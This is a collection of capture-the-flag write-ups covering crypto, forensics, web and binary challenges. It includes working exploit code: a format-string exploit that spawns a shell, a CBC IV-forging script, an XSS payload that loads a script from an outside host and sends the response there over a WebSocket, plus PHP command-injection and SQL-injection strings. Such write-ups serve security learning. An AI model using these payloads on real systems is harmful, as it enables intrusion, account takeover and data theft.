```Dialogue: 0,0:00:00.03,0:00:00.03,Default,,0,0,0,,e\NDialogue: 0,0:00:00.03,0:00:00.04,Default,,0,0,0,,a\NDialogue: 0,0:00:00.03,0:00:00.03,Default,,0,0,0,,s\NDialogue: 0,0:00:00.04,0:00:00.04,Default,,0,0,0,,y\NDialogue: 0,0:00:00.04,0:00:00.04,Default,,0,0,0,,c\NDialogue: 0,0:00:00.04,0:00:00.04,Default,,0,0,0,,t\NDialogue: 0,0:00:00.04,0:00:00.05,Default,,0,0,0,,f\NDialogue: 0,0:00:00.04,0:00:00.04,Default,,0,0,0,,{\NDialogue: 0,0:00:00.05,0:00:00.05,Default,,0,0,0,,s\NDialogue: 0,0:00:00.05,0:00:00.05,Default,,0,0,0,,u\NDialogue: 0,0:00:00.05,0:00:00.05,Default,,0,0,0,,b\NDialogue: 0,0:00:00.05,0:00:00.06,Default,,0,0,0,,s\NDialogue: 0,0:00:00.05,0:00:00.05,Default,,0,0,0,,_\NDialogue: 0,0:00:00.06,0:00:00.06,Default,,0,0,0,,r\NDialogue: 0,0:00:00.06,0:00:00.06,Default,,0,0,0,,_\NDialogue: 0,0:00:00.06,0:00:00.06,Default,,0,0,0,,b\NDialogue: 0,0:00:00.06,0:00:00.06,Default,,0,0,0,,3\NDialogue: 0,0:00:00.06,0:00:00.06,Default,,0,0,0,,t\NDialogue: 0,0:00:00.07,0:00:00.07,Default,,0,0,0,,t\NDialogue: 0,0:00:00.07,0:00:00.07,Default,,0,0,0,,3\NDialogue: 0,0:00:00.07,0:00:00.07,Default,,0,0,0,,r\NDialogue: 0,0:00:00.07,0:00:00.08,Default,,0,0,0,,_\NDialogue: 0,0:00:00.07,0:00:00.07,Default,,0,0,0,,t\NDialogue: 0,0:00:00.08,0:00:00.08,Default,,0,0,0,,h\NDialogue: 0,0:00:00.08,0:00:00.08,Default,,0,0,0,,@\NDialogue: 0,0:00:00.08,0:00:00.08,Default,,0,0,0,,n\NDialogue: 0,0:00:00.08,0:00:00.09,Default,,0,0,0,,_\NDialogue: 0,0:00:00.08,0:00:00.08,Default,,0,0,0,,d\NDialogue: 0,0:00:00.09,0:00:00.09,Default,,0,0,0,,u\NDialogue: 0,0:00:00.09,0:00:00.09,Default,,0,0,0,,b\NDialogue: 0,0:00:00.09,0:00:00.09,Default,,0,0,0,,5\NDialogue: 0,0:00:00.09,0:00:00.10,Default,,0,0,0,,}\N```
The flag was in the subs file. Only thing left to do was to extract the flag from the rest of the text. I used the following python script to get the flag:``` python
flag = ''with open('subs', 'r') as infile: for line in infile: line = line.strip() if line.startswith('Dialogue') and line.endswith('\N'): flag += line.split(',')[-1].replace('\N', '') print flag```
The flag was: easyctf{subs_r_b3tt3r_th@n_dub5} |
# Integrity (crypto)
##ENG[PL](#pl-version)
In the task we get a service:
```python#!/usr/bin/python -u
from Crypto.Cipher import AESfrom hashlib import md5from Crypto import Randomfrom signal import alarm
BS = 16pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])]
class Scheme: def __init__(self,key): self.key = key
def encrypt(self,raw): raw = pad(raw) raw = md5(raw).digest() + raw
iv = Random.new().read(BS) cipher = AES.new(self.key,AES.MODE_CBC,iv)
return ( iv + cipher.encrypt(raw) ).encode("hex")
def decrypt(self,enc): enc = enc.decode("hex")
iv = enc[:BS] enc = enc[BS:]
cipher = AES.new(self.key,AES.MODE_CBC,iv) blob = cipher.decrypt(enc)
checksum = blob[:BS] data = blob[BS:]
if md5(data).digest() == checksum: return unpad(data) else: return
key = Random.new().read(BS)scheme = Scheme(key)
flag = open("flag",'r').readline()alarm(30)
print "Welcome to 0CTF encryption service!"while True: print "Please [r]egister or [l]ogin" cmd = raw_input()
if not cmd: break
if cmd[0]=='r' : name = raw_input().strip()
if(len(name) > 32): print "username too long!" break if pad(name) == pad("admin"): print "You cannot use this name!" break else: print "Here is your secret:" print scheme.encrypt(name)
elif cmd[0]=='l': data = raw_input().strip() name = scheme.decrypt(data)
if name == "admin": print "Welcome admin!" print flag else: print "Welcome %s!" % name else: print "Unknown cmd!" break```
As can be seen we can either login or register.Loggin in as admin will give us the flag, so this is the ultimate goal.We can see that we can't register as `admin` because this is explicitly checked.
Once we register we get as a result login token in the form `IV | AES_CBC(md5(login) | login)`.
Since we can modify freely the IV, we can force the decoding of md5 checksum to any value we want.This is because in CBC block crypto the first decrypted block is `IV xor AES_decrypt(ciphertext[0])` and we know the value of `AES_decrypt(ciphertext[0])` because it is md5 of the login we provided.So in order to force k-th decoded byte to value `X` we simply need to modify k-th byte of IV to `IV[k] ^ md5(login)[k] ^ X`.
As a result we can easily fool the md5 checksum and we can provide IV such that the decoded md5 checksum will be a checksum of `pad("admin")`.
Now we need somehow to obtain ciphertext which will decode to `pad("admin")`.This is again quite simple, since we're dealing with block crypto and the login token does not contain any information about the length of the provided input (unlike in real HMAC).It means that we can remove some ciphertext blocks from the end and the decryption will still work just fine, assuming the padding is correct.
So if we decide to encrypt login in a form of `pad("admin")+16_random_bytes`, the server will send us ciphertext of `pad(pad("admin")+16_random_bytes)`.And of course this translates to 3 ciphertext blocks in a form of `pad("admin")+16_random_bytes+PKCS_padding`.But as said before, we can simply remove the last 2 blocks of ask server to use only the first one, which decodes to `pad("admin")`!
```pythonimport hashlibfrom crypto_commons.netcat.netcat_commons import nc, send, receive_until_match
BS = 16pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
def generate_payload(ct): stripped_ct = ct[:-64] # skip last 2 blocks, the PKCS padding and the dummy block target_md5 = hashlib.md5(pad("admin")).digest() # md5 we want to get from decryption source_md5 = hashlib.md5(pad(pad("admin") + ("a" * 16))).digest() # md5 the server calculated original_iv = stripped_ct[:32].decode("hex") new_iv = [] for i in range(len(original_iv)): new_iv.append(chr(ord(original_iv[i]) ^ ord(source_md5[i]) ^ ord(target_md5[i]))) iv = "".join(new_iv).encode("hex") payload = iv + stripped_ct[32:] return payload
def main(): s = nc("202.120.7.217", 8221) print(receive_until_match(s, ".*ogin")) send(s, "r") send(s, pad("admin") + ("a" * 16)) print(receive_until_match(s, ".*secret:")) ct = s.recv(9999).split("\n")[1] send(s, "l") send(s, generate_payload(ct)) print(s.recv(9999)) print(s.recv(9999)) print(s.recv(9999))
main()```
And this gives us `flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}`
##PL version
W zadaniu dostajemy dostęp do serwisu:
```python#!/usr/bin/python -u
from Crypto.Cipher import AESfrom hashlib import md5from Crypto import Randomfrom signal import alarm
BS = 16pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])]
class Scheme: def __init__(self,key): self.key = key
def encrypt(self,raw): raw = pad(raw) raw = md5(raw).digest() + raw
iv = Random.new().read(BS) cipher = AES.new(self.key,AES.MODE_CBC,iv)
return ( iv + cipher.encrypt(raw) ).encode("hex")
def decrypt(self,enc): enc = enc.decode("hex")
iv = enc[:BS] enc = enc[BS:]
cipher = AES.new(self.key,AES.MODE_CBC,iv) blob = cipher.decrypt(enc)
checksum = blob[:BS] data = blob[BS:]
if md5(data).digest() == checksum: return unpad(data) else: return
key = Random.new().read(BS)scheme = Scheme(key)
flag = open("flag",'r').readline()alarm(30)
print "Welcome to 0CTF encryption service!"while True: print "Please [r]egister or [l]ogin" cmd = raw_input()
if not cmd: break
if cmd[0]=='r' : name = raw_input().strip()
if(len(name) > 32): print "username too long!" break if pad(name) == pad("admin"): print "You cannot use this name!" break else: print "Here is your secret:" print scheme.encrypt(name)
elif cmd[0]=='l': data = raw_input().strip() name = scheme.decrypt(data)
if name == "admin": print "Welcome admin!" print flag else: print "Welcome %s!" % name else: print "Unknown cmd!" break```
Jak łatwo zauważyć możemy się zalogować lub zarejetrować.Logowanie jako admin pozwoli uzyskać flagę i to jest naszym finalnym celem.Możemy zauważyć, że nie możemy zarejestrować się jako `admin` ponieważ jest to wyraźnie sprawdzane.
Po rejestracji dostajemy token logowania w postaci `IV | AES_CBC(md5(login) | login)`.
Ponieważ możemy dowolnie zmieniać IV, możemy wymusić dowolne dekodowanie wartości md5.Wynika to bezpośrednio z tego jak działa szyfr blokowy w trybie CBC - pierwszy dekodowany blok to `IV xor AES_decrypt(ciphertext[0])` a znamy wartość `AES_decrypt(ciphertext[0])`bo to md5 wyliczone z wprowadzonych przez nas danych.Więc żeby wymusić dekodowanie k-tego bajtu do wartości `X` musimy jedynie zmienić k-ty bajt IV na `IV[k] ^ md5(login)[k] ^ X`
W efekcie możemy w prosty sposób oszukać checksume md5 i podać takie IV, że odkodowane md5 będzie zgodne z checksumą dla `pad("admin")`.
Teraz potrzebujemy uzyskać ciphertext który zdekoduje się do `pad("admin")`.To znów jest dość proste, ponieważ mamy do czynienia z szyfrem blokowym a token logowania nie zawiera nigdzie informacji o długości wprowadzonych danych (w przeciwieństwie do prawdziwego HMAC).To oznacza, że możemy usunąć kilka bloków ciphertextu z końca a deszyfrowanie nadal przebiegnie pomyślnie, o ile padding się zgadza.
Jeśli więc zdecydujemy się zaszyfrować login w postaci `pad("admin")+16_random_bytes` serwer odeśle nam ciphertext dla `pad(pad("admin")+16_random_bytes)`A to oczywiście oznacza że dostaniemy 3 bloki ciphertextu w postaci `pad("admin")+16_random_bytes+PKCS_padding`.Jak wspomnieliśmy wcześniej, możemy teraz usunąć 2 ostatnie bloki i poprosić serwer o deszyfrowanie tylko pierwszego, który dekoduje się do `pad("admin")`!
```pythonimport hashlibfrom crypto_commons.netcat.netcat_commons import nc, send, receive_until_match
BS = 16pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
def generate_payload(ct): stripped_ct = ct[:-64] # skip last 2 blocks, the PKCS padding and the dummy block target_md5 = hashlib.md5(pad("admin")).digest() # md5 we want to get from decryption source_md5 = hashlib.md5(pad(pad("admin") + ("a" * 16))).digest() # md5 the server calculated original_iv = stripped_ct[:32].decode("hex") new_iv = [] for i in range(len(original_iv)): new_iv.append(chr(ord(original_iv[i]) ^ ord(source_md5[i]) ^ ord(target_md5[i]))) iv = "".join(new_iv).encode("hex") payload = iv + stripped_ct[32:] return payload
def main(): s = nc("202.120.7.217", 8221) print(receive_until_match(s, ".*ogin")) send(s, "r") send(s, pad("admin") + ("a" * 16)) print(receive_until_match(s, ".*secret:")) ct = s.recv(9999).split("\n")[1] send(s, "l") send(s, generate_payload(ct)) print(s.recv(9999)) print(s.recv(9999)) print(s.recv(9999))
main()```
A to daje nam `flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}` |
# Web TunnelWeb, 260 points
>I was just going to search some random cat videos on a Saturday morning when my friend came up to me and told me to reach the end of this tunnel (http://tunnel.web.easyctf.com/). Can you do it for me?
Behind the link was a site with a single link to a qr image.
The qr image contained a string that was similiar to the previous qr code filename. Appending the string to http://tunnel.web.easyctf.com/ revealed another qr code. This pattern seemed to continue so, I wrote a python script to read each of the qr codes. I used [qrtools](https://github.com/primetang/qrtools) to read the qr codes, and StringIO to avoid having to save any of the qr images to a hard drive. For retrieving the qr codes from the web, I used a subprocess call to curl.
``` pythonfrom StringIO import StringIOimport qrtoolsimport subprocessimport timeimport sys
url_suffix = '.png' url_prefix = 'http://tunnel.web.easyctf.com/'qr = qrtools.QR()
# Parse the first pagestart = subprocess.check_output(['curl', '-q', url_prefix])start = ''.join(start.split( 'here')[0].replace('\'', '')url_prefix += start.split('/')[0] + '/'filename = start.split('/')[1]
while True: # Read all the qr codes print filename qr_file = subprocess.check_output( ['curl', '-q', url_prefix + filename]) qr_io = StringIO(qr_file) try: qr.decode(qr_io) except IOError: sys.exit() time.sleep(1) filename = qr.data + url_suffix```
The flag was: easyctf{w0w_y0u_reached_th3_3nd_0f_my_tunnel!!!!!} |
Challenge: Petty Difference----------------------------------------Category: Forensics----------------------------------------75 points ----------------------------------------
```Description:
Written by dududum561
I found two files in a secret room. They look like jumbled letters with no patterns. I mean look at it! file1 is identical to file2, right?Hint: No hint
Files = file1.txt and file2.txt
file1.txt
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```
I am used the tool HxD for compare the two texts.
We find '}4_gn1k00l_3r3w_u0y_3cn3r3ff1d_3ht_3b_y4m_s1ht{ftcysae'
After reversed, the flag is easyctf{th1s_m4y_b3_th3_d1ff3r3nc3_y0u_w3r3_l00k1ng_4}
|
XSS in Admin interface have different Origins.But share the same second level domain.We see that admin interface echoes “username” cookie without escaping.The attack idea - set username cookie to domain .government.vip; and redirect to admin interface.Vector:```<script>document.cookie='username=<script\/src=https:\/\/kyprizel.net\/pwn2.js><\/script>; path=/; domain=.government.vip;'; window.top.location='http://admin.government.vip:8000';</script>```But there is a sandbox in admin interface.First we tried to bypass it via WebSocket to exfiltrate the data and simple CSRF to submit the form.
Soon noticed that /upload only accepts content-type multipart/form-data and file upload.As we can execute JS - we can create iframe and restore XMLHttpRequest from this iframe.
So pwn2.js content looks like:```document.write('<iframe src="/login" name=frfr id=xxx></iframe>');
var t = setTimeout(function(){ clearTimeout(t);
var data = { file: '', };
var boundary = String(Math.random()).slice(2); var boundaryMiddle = '--' + boundary + '\r\n'; var boundaryLast = '--' + boundary + '--\r\n'
var body = ['\r\n']; for (var key in data) { body.push('Content-Disposition: form-data; name="' + key + '";filename="test.php"\r\nContent-Type: text/plain\r\n\r\n' + data[key] + '\r\n'); }
body = body.join(boundaryMiddle) + boundaryLast;
window.XMLHttpRequest = document.getElementById('xxx').contentWindow.XMLHttpRequest; var xhr = new XMLHttpRequest(); xhr.open('POST', '/upload', true);
xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary);
xhr.onreadystatechange = function() { if (this.readyState != 4) return; var wsUri = "wss://kyprizel.net/x?" + this.responseText; websocket = new WebSocket(wsUri); }
xhr.send(body);
}, 1000);
````No real shell, but we get flag ```flag{xss_is_fun_2333333}``` in response. |
# Finn
The Resistance intercepted this suspicious picture of Finn's old stormtrooper helmet, sent by General Hux to Kylo Ren. Hux isn't exactly Finn's biggest fan. What could he be hiding? Good luck!
If you get stuck, We also have this blob of sarcasm, which may or may not be useful in your quest. Worth a shot right?.
```Everyone complains that my problems are too random. Fine. Here is EXACTLY how to solve this problem.
1. Wow I have an image. I wonder why it’s so big (read: grandma, what large eyes you have)2. So I figured that part out. Great, there’s a password. I wonder what that has to do with this image. Or wait, I could just brute force it, right? Either way works. It’s called reading the problem description. Or even the title. Titles do matter.3. Yay, 2 images. What’s the difference? Hmmmm, I wonder what would happen if I expressed that difference pictorially. 4. Well I got some stuff, but it makes no sense. Oh wait, maybe I need a key! Let’s go back to that thing we extracted earlier, shall we? Maybe those discrepancies are ACTUALLY USEFUL. Nothing is an accident, not even random out of place pixels. Check them. Carefully.5. What do I do with this message and key? How about, the most obvious thing in every CTF ever. Seriously.
So you got the flag. Congrats! See, it wasn’t that bad.```
## Solution
We are given a jpg file and a recipe to follow, in order to get to the flag.
First hint suggests that the jpg file containst something more, maybe some other file is embeddedinto it.
Second hint suggests that its a zip file, which is password protected.
We fire up bless, a linux hex editor, and search for the magic bytes of a zip file*50 4B 03 04* , we find this and we can see beforfe it, is the closing bytes of the jpg file*FF D9*. So what we do is mark the section of the file and cut out the beginning and up tillthe first *50 4B 03 04*, and save the resulting file as finn.zip
unzipping the file we can see ther are 2 image files inside in a directory *kylo*, called*kylo1.png* and *kylo2.png*. The files are however encrypted.
### john the ripper
As we are not good at guessing, we fire up john the ripper, in order to crack the passwordof the zip file, we use the jumbo package, which containst the tool zip2john, which extract a password hash that john can use, from the zip file.
We use incremental mode, and within seconds we get the password for the zipfile which is*2187*
### Steganography
Hint 3 suggests that we should do some image manipulation on the images, that we have toexpress the difference. First thing that springs to mind is GIMP and using the imagesas 2 layers and use some layer algorithms on them.
Open kylo1.png in gimp and open kylo2.jpg also, and copy kylo2.jpg into kylo1.jpg asa layer. Make sure the layers on kylo1 are ordered so kylo2 is on top.
In the layer view Ctrl+L, click the first layer (kylo2) and choose overlay mode:*Difference*
This gives us a pretty dark image, but we can see there are different shades of gray.
Merge the layers, by rightclicking on a layer in the layer view (ctrl+l) and choosemerge visible layers.
Use the color picker tool to pic a color from the ultra grey pattern (qr-code)Should be the color #010101.
Now we exchange this color with white by going to Colors->Map->Color Exchangewhere from color is our fg color of #010101 and the color we exchange with is white.
We now get a clear qr code which we now scan with our phone, and get the followinghex values:
`"\x63\x68\x66\x63\x7e\x71\x73\x34\x76\x57\x72\x3c\x74\x73\x5c\x31\x75\x5d\x6b\x32\x34\x77\x59\x38\x4c\x7f"`
its 26 bytes in all.
As we can see, there are some wierd pixels in the lower left corner of the qr code, seems its different shades of gray.
Before we go on, revert the color exchange you just did, so we preserve the #010101 colored pixels as they were.
Now from the bottom left of the qr code, we take each grey/black pixel and note the colorvalue of either of the RGB values (its grey so they are all the same, we just take 1).
We end up with 26 numbers`5,4,7,4,5,2,7,0,4,8,5,8,6,0,3,0,6,2,9,1,1,3,6,2,8,2`
now we are left with 26 bytes and 26 numbers, and the hint states that we now have todo the most obvious thing ever.
We make a small perl script to do just that
```#!/usr/bin/perl
my $str = "\x63\x68\x66\x63\x7e\x71\x73\x34\x76\x57\x72\x3c\x74\x73\x5c\x31\x75\x5d\x6b\x32\x34\x77\x59\x38\x4c\x7f";my @pixels = (5,4,7,4,5,2,7,0,4,8,5,8,6,0,3,0,6,2,9,1,1,3,6,2,8,2); # values of each 5,5,5 rgb = 5
my @chars = split "",$str;my $i = 0;
$i=0;foreach my $c (@chars) { print chr(ord($c) ^ $pixels[$i]) ; $i++;}print "\n";```
We XOR the values together and convert the bytes to their ascii equivalent charactersand get the flag:
flag{st4r_w4rs_1s_b35t_:D}
We convert it to easy cft and get:
*easyctf{st4r_w4rs_1s_b35t_:D}*
|
The binary accepts a password as input. The maximum possible length of the password is limited at 20 chars. If we enter more than this it is automatically truncated to 20.The program simply does the following.======================================================================password = map(ord, list('MyPassword'))total = 0for ch in password: total = ((total * 296) + ch) & 0xFFFFFFFFFFFFFFFFif total == 0xCEFF5331D4AA: print 'Correct Password'else: print 'Try again'======================================================================It is calculating the continued sum of the all the characters of the password, and multiplying by 296 in each step.There are multiple solutions to this. For example, both tpwevlobbmhghhlcgcr and YMYPYSYFLBFLSPJXDOR are valid and accepted by the binary.The actual password is however d00m3r.This problem like several others in Xiomara CTF is poorly designed without proper checking.To find the password I used the following python code.======================================================================from __future__ import print_functionfrom z3 import *# Number of chars in passwordpasswlen = 6 passw = [BitVec('ch'+str(i), 64) for i in xrange(passwlen)]s = Solver()tot = 0for ch in passw: s.add(ch > 0x21) s.add(ch < 0x7E) tot = Extract(63,0, (tot*296)+ ch)s.add(tot == 0xCEFF5331D4AA)if s.check() == sat: m = s.model() for i in passw: print(chr(m[i].as_long()), sep = '', end='')====================================================================== |
**Multipass - 50pts**
Nous arrivons sur une interface nous demandant de rentrer un mot de passe.
L'authentification se fait à l'aide d'un script JS.
```JS
function multipass(ev) { ev.preventDefault(); password = document.getElementById('p').value; hash = 1; for (i = 0; i < password.length; i++) { password[i].charCodeAt(); hash = hash * password[i].charCodeAt(); }
if (hash == 147033816209280) window.location = sha1(password) + ".html"; else alert("No");}document.forms.private_space.onsubmit = multipass;```
Le but de l'épreuve est d'obtenir un hash valant = 147033816209280.
Pour cela il faut faire des tests.
Si l'on execute notre script avec le mot de passe 'ABCD' en décomposant nous obtenons :
hash est initialisé à 1
Premier tour de boucle :
hash = 1 * 65 (65 est la valeur decimal de la lettre A)hash = 65
Second tour de boucle :
hash = 65 * 66 (On multiplie la dernière valeur du hash par 66 qui est la valeur decimal de la lettre B )hash = 4290
Troisième tour de boucle :
hash = 4290 * 67 (On multiplie la dernière valeur du hash par 67 qui est la valeur decimal de la lettre C )hash = 287430
Quatrième tour de boucle :
hash = 287430 * 68 (On multiplie la dernière valeur du hash par 68 qui est la valeur decimal de la lettre D )hash = 19545240
Fin d'execution
On remarque que notre valeur est bien loin de celle attendu pour valider l'épreuve.
Un hint indiquant que le mot de passe faisait 7 caractères à été donné aux équipes.
Nous avons donc dérivé le dictionnaire rockyou pour obtenir un dictionnaire contenant uniquement des mots de passes de longueur 7.
```BASHcat rockyou.txt| grep -Eoh '[a-zA-Z0-9]{7}' > dico```
Nous avons ensuite réimplémenté la comparaison en python :
```PYTHON
#!/usr/bin/env python
import sys
inp = sys.argv[1]f = open(inp)data = f.read().split("\n")for d in data: print "try: "+d h = 1 for i in range(0,7): h = h * ord(d[i]) if h == 147033816209280: print "Found: "+d break```
```BASH
./multipass.py dico
```
Au bout de 3 secondes :
try: flower1try: belindatry: hotgirltry: poohbeatry: valentitry: idontkntry: pikachuFound: pikachu
On tappe le mot de passe sur le site et on est redirigé vers la page sha1(pickachu).html
THC{Playing_Pokemon_G0_is_my_guilty_pleasure}
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
from pwn import *
# 0x804b084 [email protected]# 0x804b018 [email protected]# 0x804b010 [email protected]
r = remote("34.198.96.6", 9002)r.recvuntil("Enter name: ")r.sendline("%8$s")r.recvuntil("Enter password: ")r.sendline(p32(0x804b010))r.recvuntil("Invalid password for username: ")base_libc = u32(r.recv(4).ljust(4, '\0')) - 0xda1c0r.close()
p_system = base_libc + 0x3fe70p_bin_sh = base_libc + 0x15da8c
p_system_hi = (p_system & 0xffff0000) >> 16p_system_lo = (p_system & 0xffff)p_bin_sh_hi = (p_bin_sh & 0xffff0000) >> 16p_bin_sh_lo = (p_bin_sh & 0xffff)
print "base_libc: %x" % base_libcprint "p_system: %x" % p_systemprint "p_system_bin_sh: %x" % p_bin_sh
r = remote("34.198.96.6", 9002)r.recvuntil("Enter name: ")r.sendline("%" + str(p_system_lo - 31) + "d%8$hn%" + str(p_system_lo - p_system_hi) + "d%9$hn%" + str("17") + "d%10$hn%" + str(p_bin_sh_lo + 2197) + "d%11$hn")r.recvuntil("Enter password: ")r.sendline(p32(0x804b018) + p32(0x804b01a) + p32(0x804b086) + p32(0x804b084))r.interactive()
'''$ iduid=1000(bob) gid=1000(bob) groups=1000(bob)$ cat flag.txtflag{1nF0L34K4Th3W1n}''' |
# Tiny Eval
This page will evaluate anything you give it.
## Solution
We are presented with a website, with a text field, to input our codethat the script will evaluate.
We could try a lot of different languages, but we start with the likely candidate first, namely PHP.
In order to check if it indeed evaluate anything we first input`echo("hello there")`
Here we are told that there are too many characters. So we try with shorter and shorter input, untill we figure out it takes max 11 characters
Comming from a perl background there are a few tricks one can try,one of the most obvious, in order to get your character count down,is to use backticks, which run the command you enter, in a shell and return the result.
Maybe we can list files in the current directory like that?
```echo`ls````
Successfully give us a list of files among which is a file called flag.txt
How can we get a readout of the flag.txt file? Well think linux commands,and cat comes to mind quickly.
Can we build a command string that will print the flag with cat, in only 11 characters??
```echo`cat *````
Ofcourse we can, and we just did!
Filling in the above command string, gives us the flag:
*easyctf{it's_2017_who_still_uses_php?(jk_82.5%_of_websites)}*
|
Challenge: Useless Python----------------------------------------Category: Programming----------------------------------------50 points ----------------------------------------Description:```Boredom took over, so I wrote this python file! I didn't want anyone to see it though because it doesn't actually run, so I used the coolest base-16 encoding to keep it secret. python ```useless.py
The python scrypt is encoded with base16, decoder gives me this:
exec(chr(101)+chr(120)+chr(101)+.....)
Code:```with open ('base16.txt', 'r') as f: num = '' for char in f.read(): m = char if m != '+' and m != '(' and m != ')' and m != 'c' and m != 'h' and m != 'r': num += m else: if num != '' and num != '+' and num != '(' and num != ')' and num != 'c' and num != 'h' and num != 'r': sim = chr(int(num)) with open ('text.txt', 'a') as out: out.write(sim) num = ''```After a few iterations:```flag = 'easyctf{python_3x3c_exec_3xec_ex3c}'priint flag```
flag = 'easyctf{python_3x3c_exec_3xec_ex3c}' |
# Injection 2
```I've told my friend a billion times that the user called leet1337 doesn't exist on this website, but he won't listen. Could you please login as this user, even though it doesn't exist in the database? Oh and also, make sure that the user has a power level over 9000!!!!
Running sqlmap or the likes will earn you an IP ban.```
*hint: The columns in the table are (not in order) username, password, power_level, and a unique id.*
## Solution
As any good crossword puzzle, sql injections, wether in the wild or as part of a CTF,are best solved manually.
We start by the usual by filling in " or ' into the password field to see if weget any talk from the underlying script about sql errors.
We dont get any information, so we must assume that this is a blind or semi blindsql injection. Its all good, we got a lot of information to work with.
* The query should return 4 columns: username, password, power_level, id* Order matters somewhat, we can assume that atlease username and power_level should be correctly placed in the query* The username we need to login with IS NOT in the database!
We need for the backend to select 0 rows, so we keep our ussername field blank in the html form.The password field will be where we put our injection code, we start that string with " so we basically tell thebackend script to execute this query
select username, password, power_level, id from some-table where username="" and password="(our sql string)"
When the backend returns 0 rows, we need to figure out some way to return something more, which is what "union select"does, basically its a select after the initial select which piles on rows of data to the original query.It has to contain the same number of columns as the select statement before it.
We need 1 row with the fields/columns username, password, power_level, id.
So that will be a union select which looks something like this
`union select sleep(5),"leet1337","leet1337",9001`
The reason we use sleep(5), is just to indicate to us wether or not our injection is accepted or not,if you get a timeout of 5+ seconds before the result, you know it atleast understood your injection anddidn't crash without telling you about it.
Problem with the above injection is, that its not closed and the value 9001 is an integer value.using the above injection the full sql from the backend servers point of view would be,something like:
assuming our username field holds nothing and our password field holds:*" union select sleep(5),"leet1337","leet1337",9001*
```select username, password, power_level, id from some-table where username="" and password="" union select sleep(5),"leet1337","leet1337",9001"
```
As we can see the sql injection is not "closed" so it will not work like this, we need to account for the ending"-character. We do this by adding a where clause to our injection, but as we do not know the name of the table wework with, we can use a mysql build in table in the INFORMATION_SCHEMA database called COLUMNS.It basically contain the data of each column of each database in the system.
We know plenty of column names, so we just choose to use the one called password.
Our full injection into the password field will now be:
```" union select sleep(5),"leet1337","leet1337",9001 from INFORMATION_SCHEMA.COLUMNS where COLUMN_NAME="password```
This will make our injection terminate with grace, as the "-character will now close our statement COLUMN_NAME="password
In some instances you'd be able to terminate the sql injection with ;-- so you wouldnt need to make itcomplete, it was not tested in this mission if this was the case, as elegance is always prefered to aby-chance crude injection.
Basically our injection selects the set field values we need, which arent dependant on any table by itself, but usethe table COLUMNS in order to select atleast 1 record which is what we need.
The column position of the union select was ofcourse based on trial and error, so in the end we got it allto match, within a few tries.
The flag will be shown when you execute the above injection.
username=""password=" union select sleep(5),"leet1337","leet1337",9001 from INFORMATION_SCHEMA.COLUMNS where COLUMN_NAME="password"
*Sorry i forgot to write the flag down*
|
[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/forensics/easyctf2017-mane-event.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/forensics/easyctf2017-mane-event.md) |
[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/crypto/easyctf2017-clear-and-concise-commentary-on-caesar-cipher.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/crypto/easyctf2017-clear-and-concise-commentary-on-caesar-cipher.md) |
# Injection 1
I need help logging into this website to get my flag! If it helps, my username is admin.
Running sqlmap or the likes will earn you an IP ban.
## Solution
A classic sql injection problem, which should be fairly easy to tackle.
We are supposed to login as admin, so we put that into the username field
The sql the server preforms should look something like this:
```select * from users where username="admin" and password=""```
In order for this to be fooled to log us in, we need to craft something fromthe password field, that make the sql statement true.
In our case we want a balanced injection, so we do not rely on commenting outthe rest of the injection as is common, with ;-- or #
To obtain this goal, our password field will have to contain the following:
```" or "a"="a```
This will make the sql in the backend script, look something like this,with admin as the username:
```select * from users where username="admin" and password="" or "a"="a"```
This will present us with the flag which is:
*easyctf{a_prepared_statement_a_day_keeps_the_d0ctor_away!}*
|
The trick to this was getting it to attack every team durring the tick period.There were a lot of teams, (credit to organisers, the network was pretty good)The api also failed a lot so you had to account for that read the full writeup here http://pastebinthehacker.blogspot.com.au/2017/03/ictf-no-rsa.html |
[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/forensics/easyctf2017-petty-difference.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/forensics/easyctf2017-petty-difference.md) |
[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/web/easyctf2017-cookie-blog.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/web/easyctf2017-cookie-blog.md) |
Black Hole========
> John Hammond | Tuesday, February 7th, 2017
--------------------------------------------
> We are trying to study the Black Holes. One of the most controversial theory related to Black Holes is the "Information Loss Paradox". Calculations suggest that physical information could permanently disappear in a black hole. But this violates the quantum theory. To test the hypothesis, we sent our flag encoded in Base64 format towards a Black Hole. With the help of our Hubble Space Telescope, we got some pictures of the Black Hole. See if you can recover the flag from this information.
We are given [this image](black_hole.jpg) to work with.
This was the first forensics problem, with only 10 points, so I thought it should be pretty easy. I tried a lot of the low-hanging fruit until I realized what was up.
The challenge prompt really insisted "we sent our flag encoded in [base64] format towards a black hole"... and when I ran [`strings`][strings], I found something that really looked like [base64] but I couldn't get it to decode.
```strings black_hole.jpg...UQklUQ1RGe1M1IDAwMTQrODF9...```
That definitely looked like [base64], so I tried it, but it failed, no matter how much [padding] I tried to tack on.
``` python>>> import base64>>> base64.b64decode('UQklUQ1RGe1M1IDAwMTQrODF9')Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/lib/python2.7/base64.py", line 78, in b64decode raise TypeError(msg)TypeError: Incorrect padding```
What the heck? Was this a red-herring?
After my banging my head against the wall for a long while, I eventually told myself it _had_ to be the flag.
So, I tried the opposite: I tried to _encode_ what the flag should look like, I tried to [base64] encode the starting flag format.
``` python>>> base64.b64encode('BITSCTF')'QklUU0NURg=='```
_That looks really similar to what we have..._
___Oh! The starting "U" is out of place, it shouldn't be there!___
